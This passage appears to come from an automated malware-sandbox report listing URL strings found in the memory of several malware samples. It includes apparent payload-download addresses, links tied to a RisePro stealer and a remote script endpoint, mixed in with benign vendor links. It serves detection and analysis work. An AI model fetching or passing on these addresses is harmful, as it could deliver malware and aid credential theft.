Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.1753
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175g
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exePS
Source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263415438.00000255D7615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeA
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeF
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeHGC
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exen
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeoGf
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeYY
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exer-end-point:
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.000000000293F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exet
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765464431.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2167888234.000000000668A000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2166509341.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2168297913.0000000006682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, F2MwMOxTR5ZuDHHYSd2btGVy.exe, 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006010278.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000003.2033489386.000000002335D000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079143853.0000000005F4F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241972777.0000000001708000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002825274.000000000650D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006010278.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000003.2033489386.000000002335D000.00000004.00000020.00020000.00000000.sdmp, va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079143853.0000000005F4F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241972777.0000000001708000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002825274.000000000650D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000549000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTQ$7
Source: YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, YsL35EpGrjU1rZchKY2714UT.exe, 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, F2MwMOxTR5ZuDHHYSd2btGVy.exe, 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://t.me/copterwin
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot175m
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2125618399.0000000001B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botlaterH
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botrisepros0
Source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDF1E000.00000004.00000800.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDF0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://thridparty.nservices.org/api/browser/GetScript?id=$
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/0A
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/5A
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/:A
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002943000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGi
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765995676.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1736544337.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1758335917.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726041232.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1761266011.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1745786204.0000000002998000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1726788500.0000000002998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6z
Source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2003586747.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2006925023.0000000005FC7000.00000004.00000020.00020000.00000000.sdmp, NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000003.2000997136.0000000005FA4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2084595010.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079337796.0000000005F41000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2079763854.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2253389959.000000000171F000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2241837265.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2246648717.000000000173C000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2243083756.000000000172A000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2008108302.0000000006545000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2004113521.0000000006531000.00000004.00000020.00020000.00000000.sdmp, r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.2002279136.0000000006511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.mozilla.org/about/YWi2sm3auk5jNzPdQw.exe
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2458664896.0000000000447000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000002.2127239509.00000000064E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089939827.0000000001702000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2089155668.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2091372722.0000000001702000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2250248248.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2419650198.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2244072573.00000000016D5000.00000004.00000020.00020000.00000000.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 